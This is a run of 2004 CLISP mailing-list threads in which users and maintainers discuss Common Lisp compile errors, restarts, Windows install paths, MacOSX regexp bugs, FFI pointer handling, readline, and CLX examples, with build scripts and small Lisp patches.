>           (if (y-or-n-p "restart: ")
>               (setf idx 0)
>             (setf stop-billing t)
>             (return)) 
> 
> but when this bit of code gets compiled, I get:

+----------------------------------------------------------------------------+
| ERROR in RUN-BILLING-FOR in lines 82..183 :                                |
| Form too long, too many arguments: (IF (Y-OR-N-P "restart: ") (SETF IDX 0) |
| (SETF STOP-BILLING T) (RETURN))                                            |
+----------------------------------------------------------------------------+

So, what word in this error message did you not understand?

    Form
    too
    long
    too
    many 
    arguments

You're not playing with toy emacs lisp anymore. You're with
COMMON-LISP.  Here, the IF special operator takes THREE (3) arguments
at most: 

   - the test-form,
   - the then-form,
   - the else-form.


> I have tried adding (progn) around this code as well as in the true portion 
> of the form with no change (wasn't expecting one, but it's what I could 
> think of to try). 

You need some philosophy:

    AI koan --

      A novice was trying to fix a broken lisp machine by turning the
    power off and on.  Knight, seeing what the student was doing spoke
    sternly- "You can not fix a machine by just power-cycling it with no
    understanding of what is going wrong."
      Knight turned the machine off and on.
      The machine worked.

So you cannot add (progn) around code without knowing what you're
doing. Programming does not work like that!


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yes!
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> did you build CLISP yourself?
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> * Aldrich Co <qbtfxva@snfgznvy.sz> [2004-08-16 16:54:15 +0800]:
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> On Fri, 13 Aug 2004 10:03:06 -0400, Sam Steingold <sds@gnu.org> wrote:
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> yes!
>>
>> did you build CLISP yourself?

more information needed.
see URLs in the previous message.

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Hello,


My CLISP --version:

GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101])
Software: GNU C 3.3.1 (cygming special) ANSI C program
Features:=20
(DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP=20
LISP=3DCL
  INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI=20
UNICODE
  BASE-CHAR=3DCHARACTER PC386 WIN32)
Installation directory: C:\Vova\clisp-2.33.1\
User language: ENGLISH
Machine: PC/386 (PC/686) vovka (ip censored =3D)


I'm trying to do the following in interactive clisp:

[1]> (foo 1 2)

** - Continuable Error
EVAL: undefined function FOO
If you continue (by typing 'continue'): Retry
The following restarts are also available:
STORE-VALUE    :R1      You may input a new value for (FDEFINITION=20
'FOO).
USE-VALUE      :R2      You may input a value to be used instead of=20
(FDEFINITION 'FOO).

Break 1 [2]> :r1

New (FDEFINITION 'FOO): #'+

** - Continuable Error
EVAL: undefined function FOO
If you continue (by typing 'continue'): Retry
The following restarts are also available:
STORE-VALUE    :R1      You may input a new value for (FDEFINITION=20
'FOO).
USE-VALUE      :R2      You may input a value to be used instead of=20
(FDEFINITION 'FOO).

Break 1 [3]> :a

[4]> (quit)

Bye.


Isn't this wrong? Is this the same on Unix?

On a minor note, the paths in clisp.bat after installation are=20
screwed. Just install CLISP on a Windows machine, then try to run=20
clisp.bat - it won't find lisp.exe .

Vladimir Slepnev

P.S. Dear Moderator! Please, let this message through! I've no=20
intention of subscribing to yet another mailing list just to file a=20
bug.


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> * =D0=A1=D0=BB=D0=B5=D0=BF=D0=BD=D0=B5=D0=B2 =D0=92=D0=BB=D0=B0=D0=B4=D0=
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> New (FDEFINITION 'FOO): #'+

this is not a function.
your input is not evaluated, so you need to do

[1]> (foo 1 2)

** - Continuable Error
EVAL: undefined function FOO
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STORE-VALUE    :R1      You may input a new value for (FDEFINITION 'FOO).
USE-VALUE      :R2      You may input a value to be used instead of (FDEFIN=
ITION 'FOO).

Break 1 [2]> :r1

New (FDEFINITION 'FOO): #.#'+

3
[3]>=20

> On a minor note, the paths in clisp.bat after installation are
> screwed. Just install CLISP on a Windows machine, then try to run
> clisp.bat - it won't find lisp.exe .

thanks.
please try the appended patch.

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--- install.lisp	16 Aug 2004 17:00:01 -0400	1.11
+++ install.lisp	16 Aug 2004 17:02:44 -0400=09
@@ -10,16 +10,14 @@
=20
 (defvar *clisp-home* (namestring (default-directory)))
 (defvar *clisp-runtime*
-  (if (position #\Space *clisp-home*)
-      (concatenate 'string "\"" *clisp-home* "\\base\\lisp.exe\"")
-      (concatenate 'string *clisp-home* "lisp.exe")))
+  (concatenate 'string "\"" *clisp-home* "base\\lisp.exe\""))
 (defvar *clisp-some-args*
   (concatenate 'string " -B \"" (substitute #\/ #\\ *clisp-home*) "\" -M "=
))
 (defvar *clisp-some-cmd*
   (concatenate 'string *clisp-runtime* *clisp-some-args*))
 (defvar *clisp-args*
   (concatenate 'string *clisp-some-args* "\""
-               *clisp-home* "/base/lispinit.mem\""))
+               *clisp-home* "base\\lispinit.mem\""))
 (defvar *clisp-cmd*
   (concatenate 'string *clisp-runtime* *clisp-args*))
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Thanks for the prompt reply!

>> New (FDEFINITION 'FOO): #'+
>
>this is not a function.
>your input is not evaluated, so you need to do
>
>[1]> (foo 1 2)
>
>** - Continuable Error
>EVAL: undefined function FOO
>If you continue (by typing 'continue'): Retry
>The following restarts are also available:
>STORE-VALUE    :R1      You may input a new value for (FDEFINITION=20
>'FOO).
>USE-VALUE      :R2      You may input a value to be used instead of=20
>(FDEFINITION 'FOO).
>
>Break 1 [2]> :r1
>
>New (FDEFINITION 'FOO): #.#'+
>
>3
>[3]>=20
>

Hm. This works for :r1, but not for :r2. I'm missing something else?=20
Sorry if I'm asking dumb questions.


>thanks.
>please try the appended patch.
>-      (concatenate 'string "\"" *clisp-home* "\\base\\lisp.exe\"")
>-      (concatenate 'string *clisp-home* "lisp.exe")))
>+  (concatenate 'string "\"" *clisp-home* "base\\lisp.exe\""))

I think it should say "full" instead of "base", no?


Vladimir Slepnev


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> * =D0=A1=D0=BB=D0=B5=D0=BF=D0=BD=D0=B5=D0=B2 =D0=92=D0=BB=D0=B0=D0=B4=D0=
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> Hm. This works for :r1, but not for :r2. I'm missing something else?
nope, you discovered a bug.
thanks.

>>please try the appended patch.
>>-      (concatenate 'string "\"" *clisp-home* "\\base\\lisp.exe\"")
>>-      (concatenate 'string *clisp-home* "lisp.exe")))
>>+  (concatenate 'string "\"" *clisp-home* "base\\lisp.exe\""))
>
> I think it should say "full" instead of "base", no?

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Viewing the CLisp CVS on the Web doesn't work for some reason. For=20
example, the links from http://clisp.cons.org/wanted.html lead to:


Bad Gateway

The proxy server received an invalid response from an upstream server.


Is it just me?

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> * =D0=A1=D0=BB=D0=B5=D0=BF=D0=BD=D0=B5=D0=B2 =D0=92=D0=BB=D0=B0=D0=B4=D0=
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> Viewing the CLisp CVS on the Web doesn't work for some reason.

<http://sourceforge.net/docman/display_doc.php?docid=3D2352&group_id=3D1>:

( 2004-08-13 07:16:12 - Project CVS Service ) As of 2004-08-13 the CVS
issue documented yesterday has not been fully resolved. As such, we had
to disable pserver based CVS for those letters again to further look
into the issue and resolve it. We anticipate this service to be back up
sometime later today.

( 2004-08-12 12:42:49 - Project CVS Service ) On 2004-08-12 at about
10:00 Pacific the pserver based CVS server that hosts projects that have
a first letter of c,d,g,a,w,x and u had a hardware malfunction that is
currently being worked on. Projects whose letters match those previously
mentioned will not be able to have their pserver CVS repositories or
ViewCVS interface functional until the issue is resolved. We anticipate
this issue to be resolved by sometime tomorrow.

> For example, the links from http://clisp.cons.org/wanted.html lead to:
> Bad Gateway
> The proxy server received an invalid response from an upstream server.

WFM.
please try again.


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Hello,

I'm compiling clisp-2.33.2 on MacOSX 10.3.5 with this script:

#!/bin/bash
UNAME=$(uname)
[ -z "$PREFIX"    ] && PREFIX="$HOME/tools/clisp"
[ -z "$URL"       ] && URL="http://www.lispworks.com/reference/HyperSpec/"
[ -z "$CLISP_SRC" ] && CLISP_SRC=clisp-2.33.2
MODULES=( --prefix="$PREFIX" --with-module=regexp  --with-module=syscalls  --hyperspec="$URL")
ulimit -S -s 8192 
export CONFIG_SHELL=/bin/bash
echo Cleaning...
make -C "$CLISP_SRC/src" distclean >/dev/null 2>&1
echo Removing modules...
rm -rf "$CLISP_SRC/src/postgresql"
rm -rf "$CLISP_SRC/src/syscalls"
rm -rf "$CLISP_SRC/src/queens"
rm -rf "$CLISP_SRC/src/regexp"
rm -rf "$CLISP_SRC/src/oracle"
rm -rf "$CLISP_SRC/src/wildcard"
rm -rf "$CLISP_SRC/src/netica"
rm -rf "$CLISP_SRC/src/dirkey"
rm -rf "$CLISP_SRC/src/fastcgi"
rm -rf "$CLISP_SRC/src/berkeley-db"
rm -rf "$CLISP_SRC/src/pcre"
rm -rf "$CLISP_SRC/src/bindings"
rm -rf "$CLISP_SRC/src/clx"
echo Removing config.cache...
rm -f "$CLISP_SRC/src/config.cache"
set -e # exit as soon as a command returns non-null status.
( cd "$CLISP_SRC" ; ./configure ${MODULES[@]} )
( cd "$CLISP_SRC/src" ; ./makemake ${MODULES[@]} > Makefile )
make -C "$CLISP_SRC/src" config.lisp
cp clisp-config-for-${UNAME} "$CLISP_SRC/src/config.lisp"
make -C "$CLISP_SRC/src"
make -C "$CLISP_SRC/src" check
make -C "$CLISP_SRC/src" install
exit 0
#### clisp-compile-on-Darwin          --                     --          ####

All goes well, but when I try to use REGEXP, it does not work correctly:

$ install/bin/clisp -Kfull -norc
install/bin/clisp -Kfull -norc
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2004


[1]> (regexp:match "." "a")
#S(REGEXP:MATCH :START 0 :END 0)


On Linux, I get as expected:

#S(REGEXP:MATCH :START 0 :END 1)


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-19 21:48:05 +0200]:
>
> I'm compiling clisp-2.33.2 on MacOSX 10.3.5 with this script:

the following 2 lines should be enough:

$ rm -rf build
$ ./configure --with-module=regexp ... --build build

> [1]> (regexp:match "." "a")
> #S(REGEXP:MATCH :START 0 :END 0)
>
>
> On Linux, I get as expected:
> #S(REGEXP:MATCH :START 0 :END 1)

$ grep NEW_LIBS build/regexp/link.sh

if the above is something like "$file_list", then you are using the
system-wide regexp implementation and what you see is a bug in MacOSX.
if the above is something like "$file_list regex.o", then this is a bug
in the gnulib regexp that comes with CLISP.

(in the next version you should be able to do
$ ./configure --with-module=regexp --without-sysre
to disable system-wide regexp)

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Sam Steingold writes:
> if the above is something like "$file_list", then you are using the
> system-wide regexp implementation and what you see is a bug in MacOSX.
> if the above is something like "$file_list regex.o", then this is a bug
> in the gnulib regexp that comes with CLISP.
> 
> (in the next version you should be able to do
> $ ./configure --with-module=regexp --without-sysre
> to disable system-wide regexp)

Indeed, there's a bug in MacOSX regex.  

What would be the advantage of using the system-wide regexp when a
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-19 23:11:23 +0200]:
>
> What would be the advantage of using the system-wide regexp when a
> true and good implementation is provided in the source tree?

1. smaller executable code size

2. less maintenance overhead

3. presumably the platform vendor would bend over backwards trying to
   debug and optimize such a common tool as the regexp library.

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-19 23:11:23 +0200]:
> >
> > What would be the advantage of using the system-wide regexp when a
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> 
> 1. smaller executable code size

Yes.

 
> 2. less maintenance overhead

It's in there anyway.

 
> 3. presumably the platform vendor would bend over backwards trying to
>    debug and optimize such a common tool as the regexp library.

Once they'll fed up changing pixel colors or selling music, perhaps.

At NeXT they never bothered correcting unix-level bugs, and at Apple,
they resolved the problem by freeing the sources.  The only problem is
that it's hard to ask _our_ customers to upheaval^W upgrade all the
hidden OS layers just because their vendor's version has bugs.  And we
won't even think about what would happen the next time they
automatically download system patches from Apple...


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Hello,
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Hello,

the documentation on the CLISP site says that the Tab key should=20
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How do I do auto-completion under Windows?

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The gdi package I started may have some support for it, if not, its pretty
easy to add.
Dan Stanger

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--- Donna and Dan Stanger wrote:

> The gdi package I started may have some support for
> it, if not, its pretty
> easy to add.
> Dan Stanger
> 

How is this related to the win32 (in
modules/bindings/win32) package?  I don't see the gdi
package it my source tree.  Is it a separate download?

Thanks.

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> using
> > clisp?  I am using clisp in cygwin under windows.
> >
> > TIA.



		
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--- Donna and Dan Stanger wrote:

> The gdi package I started may have some support for
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Does this compile on the newest clisp? Where is the
clisp-link file that the readme file refers to?  I
have downloaded gdi.tar.gz, but I can't find it (it is
supposed to exist in ..

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Hi, there !

I'm trying to use an external C function which returns a pointer
to a structure.

I have two needs:
1. I need to pass the pointer to other functions.
2. I need to inspect some of the fields of the structure.

Here are the solutions I was able to implement.

1. Using c-pointer.

I can use the given c-pointer as an anonymous handle, and pass it to
other functions. It works fine, but I can't find a way to access the
structure. Well, it seems fair to me: only ugly hacks should allow me to
manipulate data behind a c-pointer.

2. Using (c-ptr mystruct).

This way, I can dig into the structure. But it looks like the c-ptr type
description is only used to describe the C function, and is bypassed in
the resulting lisp data: the lisp function returns directly a structure,
instead of a pointer I would have to ffi::deref. Therefore, the pointer
value is lost, and I can't call the other functions.

Is my analysis of the (c-ptr struct) behavior correct ?

Is there a way to force FFI to return a c-ptr, which I could either use
as-is, or deref when I want to access the struct ?

Thanks for any help,


Jerome.



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Jerome Abela asked:
>Is there a way to force FFI to return a c-ptr, which I could either use
>as-is, or deref when I want to access the struct ?

As you noticed, C-PTR leads to immediate transformation of a foreign thing to Lisp data. This is not TRT for the many cases where one wants to deal with references and (possibly partially) dereference the foreign data later.

You have to use c-pointer as :return-type.

Then you have to construct a FOREIGN-VARIABLE object out of the FOREIGN-ADDRESS object that you got.

I just recently sketched again in this list how this can be done.
It usually goes as follows:

(defun dereference-now (the-address)
  (with-c-var (x '(c-ptr my-data-type))
    (setf (cast x 'c-pointer) the-address)
    (list (deref x) (slot (deref x) 'foo) x))

I had thought of introducing a new declaration like this
	(c-pointer <c-type>) ; neither c-pointer nor (c-ptr <c-type)!
As a return-type, i.e. when converting to Lisp, it would produce a typed FOREIGN-VARIABLE pointer object. It's exactly what could be needed here.

However, introducing this conversion is not enough. E.g. consider a (c-struct foo (c-pointer mystruct)), i.e. a reference in a structure. You could read that slot but how yould your write to it?
So soon people will also want the Lisp-side->C conversion. This one is not well defined at all. At least, I don't want to invent an implementation of c-subtype-p, which one may think is needed for type safety.

What I mean is, suppose you have (c-pointer (c-array character 30)). Would it be acceptable to supply a
a) #<foreign-variable (c-array-max character 64)>
b) #<foreign-variable (c-array-max uin8 30)>
c) #<foreign-address>
d) #<foreign-variable c-string>
e) some Lisp string
f) some Lisp array
g) #<foreign-variable (c-ptr (c-ptr bar))>
h) #<foreign-variable character>

One of my concerns is that if this conversion were implemented, *I* would object both type-checking and CAST'ing (to comply with strict type-checking) because of the performance penalty they cause, which would make CLISP's FFI even slower than it is today, compared to all the other native code compilers where CAST'ing is mostly a no-op and checking of foreign types is uniquely a compile-time issue.

I.e. CLISP would then do less checks on foreign pointers than any C compiler. Is that acceptable?

Summary:
o foreign world -> #<FOREIGN-VARIABLE> is very useful/handy
o it should not come alone, because irregularities make jobs harder (e.g. making UFFI work)
o the only acceptable choice for the converse conversion of the new (c-pointer <c-type>) would be to accept any foreign entity that embeds a pointer (i.e. foreign-address -variable and -function. But that does not look clean at all.

So what's next?

A compromise might be to restrict this to :return-type of functions. But why not also in structures (esp. since from an implementation POV, it's the same, not separate code in src/foreign.d). That's also not proper, because parse-c-type cannot generally know whether it's parsing something for :return-type or not (consider (c-ptr (c-ptr (c-pointer mystruct))) or def-c-type declarations).

Regards,
	Jorg Hohle.


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On Wed, Aug 25, 2004 at 06:45:24PM +0200, Hoehle, Joerg-Cyril wrote:
> Jerome Abela asked:
> >Is there a way to force FFI to return a c-ptr, which I could either use
> >as-is, or deref when I want to access the struct ?
> 
> [very documented answer]

Awesome !

Thanks a lot for this very deep answer, covering both my immediate needs
and the next few questions I could have on that matter :-)

I have to confess I didn't understood everything (like why the type
checking is so slow while navigating among foreign types - slower than
converting it into lisp types ?). But I keep it, and I'll try to
read it again as my level at lisp will improve :-)

Thanks again,


Jerome.



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Hi,

Jerome Abela said:
>I have to confess I didn't understood everything
I should make clear that if your intended use is to dereference slots at will, you should immediately make a foreign-variable object out of the foreign-address one that the C-POINTER :return type gives you.

I posted a foreign-variable constructor a few days ago.

When you later want to dereference some slots, you then use
(defun dereference-now (fv)
  (declare (type foreign-variable fv))
  (with-c-place (x fv)
   (list (deref x) (slot (deref x) 'foo) x))))

This will avoid lots of calls to PARSE-C-TYPE and thus render the application faster.


>(like why the type
>checking is so slow while navigating among foreign types - slower than
>converting it into lisp types ?).
There are (at least) three things that make FFI slow:

 o The structure description language is interpreted at run-time by a the FFI implementation. I.e there's an (FFI structure) interpreter on top of a (bytecode) interpreter. Compare this to native compilers where both interpretation levels disappear (at compile-time).

 o Calls to PARSE-C-TYPE at run-time. This is currently the case when using WITH-C-VAR, WITH-FOREIGN-OBJECT, ALLOCATE-* etc.
It's not the case with DEF-CALL-OUT, because then PARSE-C-TYPE is invoked at compile-time or load-time only.
This state is not irremediable, and some invocations of PARSE-C-TYPE (with constant types) could be evaluated at compile or load-time as well.

E.g., the (c-pointer mystruct) :return-type extension yields several opportunities for removal of run-time invocation of PARSE-C-TYPE.

 o Loop over individual elements as opposed to array-based conversions.
In particular, ELEMENT is slower than conceivable, because for every element accessed, a FOREIGN-VARIABLE object is created and immediately thrown away, so there's much more overhead than people imagine. As opposed to native code compilation, where such loops across arrays are mostly a matter of a few machine instructions.

Furthermore
(with-c-var/c-place (x ...) ; c-ptr (c-array something
  (dotimes (i n)
    (element (deref x) i)))
is o(2*n) in cost of temporary foreign-variable objects, whereas

(with-c-var/c-place (x ...)
  (with-c-place (y (c-var-object (deref x)))
    (dotimes (i n) (element y i))))
is only o(1*n) (this is a typical case of optimization by moving a constant expression out of a loop).
Still, both are much, much slower then when you can convert a (c-ptr (c-array x n)) in one go, which CLISP allows (except for the difficulties with arrays of unknown length).

Remember: block operations are faster. Good APIs provide for block operations.
Only pure theoretical computer scientists think that an interface which allows to manipulate one element is enough "because when I can do 1, I can do 1+1, then do 1+1+1" :-)
Similarly, good GUIs provide for operations on several elements in one command. There are enough examples of bad GUIs.

Not only are block operations faster because they eliminate repeated pre-element setup overhead, but they allow additional optimizations (e.g. reorder operations etc.)

Regards,
	Jorg Hohle.


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Hi Sam,

Actually I posted this question a few weeks ago but didn't follow up.
The problem concerning my installation (on Mandrake) is that the arrow
keys and other keys aren't that useful. Pressing 'Up', for   instance,
would input "^[[A" on the screen instead of choosing the last command
I've made. Certainly it made programming with this installation very
difficult.

You then asked "Did you compiled it yourself?" Well yes, I compiled it
myself, and with the default options (meaning, without doing anything
special):

in the directory clisp...
./configure aco_clisp
cd clisp
./makemake > Makefile
make config.lisp
make
make check
make install

thanks!


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> * Al Co <qbtfxva@snfgznvy.sz> [2004-08-27 08:31:16 +0800]:
>
> The problem concerning my installation (on Mandrake) is that the arrow
> keys and other keys aren't that useful. Pressing 'Up', for instance,
> would input "^[[A" on the screen instead of choosing the last command
> I've made. Certainly it made programming with this installation very
> difficult.

You can also run CLISP in Emacs buffer.

> You then asked "Did you compiled it yourself?" Well yes, I compiled it
> myself, and with the default options (meaning, without doing anything
> special):
>
> in the directory clisp...
> ./configure aco_clisp
> cd clisp
> ./makemake > Makefile
> make config.lisp
> make
> make check
> make install

the above cannot be what you did (you configured in aco_clisp but then
did "cd clisp"). Also, configure should have printed some suggested
options for makemake, you should have used them.

please do

./configure --with-module=syscalls <more-modules> --build build
./build/clisp

and see if readline works.

if it does not, please figure out why configure does not find readline.
e.g., do you have /usr/include/readline.h?
grep build/config.cache build/config.log
would also be helpful.

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With a "simple" program (parsing HTML into sexp), I get the expected
results on Linux/ix86, but I get a:

*** - Program stack overflow. RESET
Process inferior-lisp segmentation fault

on Linux/ppc, both with the same version of clisp "2.33.2 (2004-06-02)
(built 3302301418) (memory 3302302003)" and compiled with the same
compilation options, basically:  --prefix="$PREFIX"
--with-module=regexp  --with-module=syscalls  --hyperspec="$URL"

clisp is launched with the following arguments:
      -ansi -q -K full -m 32M -I -E ISO-8859-1"

$ ./install/bin/clisp  --version
GNU CLISP 2.33.2 (2004-06-02) (built 3302793677) (memory 3302794047)
Software: GNU C 3.3.3 (Gentoo Linux 3.3.3_pre20040408-r1) ANSI C program
Features: 
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN GETTEXT UNICODE BASE-CHAR=CHARACTER
 UNIX)
Installation directory: /home/pascal/firms/intergruas/pa/install/lib/clisp/
User language: ENGLISH
Machine: PPC (PPC) naiad.informatimago.com [62.93.174.76]

It's compiled with libsigsegv-2.1 installed on the system, and
recognized by configure:
checking how to link with libsigsegv... -lsigsegv


$ cat /proc/cpuinfo 
processor       : 0
cpu             : 750FX
temperature     : 15-17 C (uncalibrated)
clock           : 900MHz
revision        : 2.3 (pvr 7000 0203)
bogomips        : 1785.85
machine         : PowerBook4,3
motherboard     : PowerBook4,3 MacRISC2 MacRISC Power Macintosh
detected as     : 257 (iBook 2 rev. 2)
pmac flags      : 0000000b
L2 cache        : 512K unified
memory          : 640MB
pmac-generation : NewWorld



What could I do about it?

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-29 21:05:56 +0200]:
>
> *** - Program stack overflow. RESET

<http://clisp.cons.org/faq.html#stack>
(u)limit

> Process inferior-lisp segmentation fault
> It's compiled with libsigsegv-2.1 installed on the system, and
> recognized by configure:
> checking how to link with libsigsegv... -lsigsegv

this should not happen.
Bruno?

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When *PRINT-PRETTY* is false, 'A should be printed as (QUOTE A) instead of 'A.

http://www.lispworks.com/reference/HyperSpec/Body/v_pr_pre.htm
"If it is false, the pretty printer is not used..."

And since there are only two printer defined, 22.1 The Lisp Printer
and 22.2 The Lisp Pretty Printer, we must refer to 22.1 The Lisp
Printer to see how it should be printed (see also 22.1.2 Printer Dispatching).

http://www.lispworks.com/reference/HyperSpec/Body/22_ace.htm

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-30 02:59:18 +0200]:
>
> When *PRINT-PRETTY* is false, 'A should be printed as (QUOTE A) instead of 'A.
>
> http://www.lispworks.com/reference/HyperSpec/Body/v_pr_pre.htm
> "If it is false, the pretty printer is not used..."

it appears that *print-pretty* only affects whitespace:

Description:

Controls whether the Lisp printer calls the pretty printer.

If it is false, the pretty printer is not used and a minimum of
whitespace[1] is output when printing an expression.

If it is true, the pretty printer is used, and the Lisp printer will
endeavor to insert extra whitespace[1] where appropriate to make
expressions more readable.




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> the above cannot be what you did (you configured in aco_clisp but then
> did "cd clisp"). Also, configure should have printed some suggested
> options for makemake, you should have used them.

yes, my mistake, i mistyped in the email. i actually did cd aco_clisp.
But I'll do what you suggested first. Thanks!


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Dear Sirs!

Thanks for your excellent products!
CLISP, CLORB and pg-dot-lisp work great in my young,
but quite useable system:
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Sincerely yours,
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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-08-30 02:59:18 +0200]:
> >
> > When *PRINT-PRETTY* is false, 'A should be printed as (QUOTE A) instead of 'A.
> >
> > http://www.lispworks.com/reference/HyperSpec/Body/v_pr_pre.htm
> > "If it is false, the pretty printer is not used..."
> 
> it appears that *print-pretty* only affects whitespace:
> 
> Description:
> 
> Controls whether the Lisp printer calls the pretty printer.
> 
> If it is false, the pretty printer is not used and a minimum of
> whitespace[1] is output when printing an expression.
> 
> If it is true, the pretty printer is used, and the Lisp printer will
> endeavor to insert extra whitespace[1] where appropriate to make
> expressions more readable.

Yes, that's what I believed at first, but the "If it is false, the
pretty printer is not used and ..." clause tell us that it should use
the default Lisp Printer, which is specified to print (QUOTE A).

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> > Process inferior-lisp segmentation fault
> > It's compiled with libsigsegv-2.1 installed on the system, and
> > recognized by configure:
> > checking how to link with libsigsegv... -lsigsegv

Please try libsigsegv-2.2-pre1 instead ([1]). Version 2.1 did not support
all MacOS X versions correctly.

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Bruno Haible writes:
> > > Process inferior-lisp segmentation fault
> > > It's compiled with libsigsegv-2.1 installed on the system, and
> > > recognized by configure:
> > > checking how to link with libsigsegv... -lsigsegv
> 
> Please try libsigsegv-2.2-pre1 instead ([1]). Version 2.1 did not support
> all MacOS X versions correctly.
> 
> Bruno
> 
> [1] http://www.haible.de/bruno/gnu/libsigsegv-2.2-pre1.tar.gz

I'll try to get it, but:
   1) I'm running gentoo _Linux_ on my iBook,
   2) gentoo has packages only of 2.0 and 2.1 :-(


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I'd suggest to use copy-seq instead of list as the default way to
provide a writable copy of a literal list:

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instead of:

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because copy-seq is more general: it may be applied to the immutable
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hello,

I am new to CLX and developing X11 with LISP.
I've been following a CLX Manual that I found at
the CLiki site and tried doing a couple of examples.
However, I get a 
"*** - SYSTEM::%EXPAND-FORM: (DRAWABLE-DISPLAY MW) should be a lambda
expression"
message back and just to make sure I typed the right thing in, I copy
and pasted the example code.  I still get the above message.
Is there anything I am missing that the CLX manual fails to tell me or
perhaps that I misread?

My version of CLISP is as follows:
GNU CLISP 2.33.2 (2004-06-02) (built on loiso [127.0.0.1])
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> * Jeffrey Andrews <wnaqerjf@ynapbcr.pbz> [2004-08-30 15:23:10 -0400]:
>
> I am new to CLX and developing X11 with LISP.
> I've been following a CLX Manual that I found at
> the CLiki site and tried doing a couple of examples.
> However, I get a 
> "*** - SYSTEM::%EXPAND-FORM: (DRAWABLE-DISPLAY MW) should be a lambda
> expression"
> message back and just to make sure I typed the right thing in, I copy
> and pasted the example code.  I still get the above message.

so what did you copy and paste?
(and what is the CLiki page URL?)

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Date: Mon Aug 30 12:46:09 2004
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http://www.cliki.net/CLX
and the manual it links to is:
http://www.stud.uni-karlsruhe.de/~unk6/clxman/

and the section of code is:
(If there is a better tutorial, let me know)

(defun menu-choose (menu x y)
  ;; Display the menu so that first item is at x,y.
  (menu-present menu x y)

  (let ((items (menu-item-alist menu))
        (mw    (menu-window menu))
        selected-item)

    ;; Event processing loop
    (do () (selected-item)
      (EVENT-CASE ((DRAWABLE-DISPLAY mw) :force-output-p t)
          (:exposure
             (count)
                ;; Discard all but final :exposure then display the menu
                   (when (zerop count) (menu-refresh menu))
                   t)

                  (:button-release
                   (event-window)
                   ;;Select an item
               (setf selected-item (second (assoc event-window items)))
                   t)

                  (:enter-notify
                   (window)
                   ;;Highlight an item
             (menu-highlight-item menu (find window items :key #'first))
                   t)

                  (:leave-notify
                   (window kind)
                   (if (eql mw window)
                       ;; Quit if pointer moved out of main menu window
                  (setf selected-item (when (eq kind :ancestor) :none))
                     ;; Otherwise, unhighlight the item window left
          (menu-unhighlight-item menu (find window items :key #'first)))
                   t)

                  (otherwise
                   ()
                   ;;Ignore and discard any other event
                   t)))

    ;; Erase the menu
    (UNMAP-WINDOW mw)

    ;; Return selected item string, if any
    (unless (eq selected-item :none) selected-item)))

On Mon, 2004-08-30 at 15:38, Sam Steingold wrote:
> > * Jeffrey Andrews <wnaqerjf@ynapbcr.pbz> [2004-08-30 15:23:10 -0400]:
> >
> > I am new to CLX and developing X11 with LISP.
> > I've been following a CLX Manual that I found at
> > the CLiki site and tried doing a couple of examples.
> > However, I get a 
> > "*** - SYSTEM::%EXPAND-FORM: (DRAWABLE-DISPLAY MW) should be a lambda
> > expression"
> > message back and just to make sure I typed the right thing in, I copy
> > and pasted the example code.  I still get the above message.
> 
> so what did you copy and paste?
> (and what is the CLiki page URL?)



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> * Jeff Andrews <wrsserl@dhnpxrewnpx.pbz> [2004-08-30 15:45:20 -0400]:
>
> http://www.cliki.net/CLX

there is no code for MENU-CHOOSE on this page.

> and the manual it links to is:
> http://www.stud.uni-karlsruhe.de/~unk6/clxman/

there is no code for MENU-CHOOSE on this page either.

> (defun menu-choose (menu x y)
>   ;; Display the menu so that first item is at x,y.
>   (menu-present menu x y)
>
>   (let ((items (menu-item-alist menu))
>         (mw    (menu-window menu))
>         selected-item)
>
>     ;; Event processing loop
>     (do () (selected-item)
>       (EVENT-CASE ((DRAWABLE-DISPLAY mw) :force-output-p t)
>           (:exposure
>              (count)
>                 ;; Discard all but final :exposure then display the menu
>                    (when (zerop count) (menu-refresh menu))
>                    t)
>
>                   (:button-release
>                    (event-window)
>                    ;;Select an item
>                (setf selected-item (second (assoc event-window items)))
>                    t)
>
>                   (:enter-notify
>                    (window)
>                    ;;Highlight an item
>              (menu-highlight-item menu (find window items :key #'first))
>                    t)
>
>                   (:leave-notify
>                    (window kind)
>                    (if (eql mw window)
>                        ;; Quit if pointer moved out of main menu window
>                   (setf selected-item (when (eq kind :ancestor) :none))
>                      ;; Otherwise, unhighlight the item window left
>           (menu-unhighlight-item menu (find window items :key #'first)))
>                    t)
>
>                   (otherwise
>                    ()
>                    ;;Ignore and discard any other event
>                    t)))
>
>     ;; Erase the menu
>     (UNMAP-WINDOW mw)
>
>     ;; Return selected item string, if any
>     (unless (eq selected-item :none) selected-item)))

you need to (use-package "XLIB") before evaluating this code.

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Is anyone using MySQL with CLISP?  How?
Is there a socket-level (as opposed to FFI) interface to MySQL?
(similar to pg-dot-lisp http://www.chez.com/emarsden/downloads/)

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Hi,

CVS-CLISP now contains an optimization that nearly doubles execution =
speed for the backquote-based c-type declaration form that typically =
appears when dereferencing variable length arrays, e.g.
(with-c-var/with-foreign-object
    (x `(c-array <type> ,(length foo)) ...)

Optimizing backquote forms is possible thanks to Kaz Kylheku's =
backquote implementation, which provides a defined representation of =
backquote forms (like Scheme has), so macros can analyse its structure.
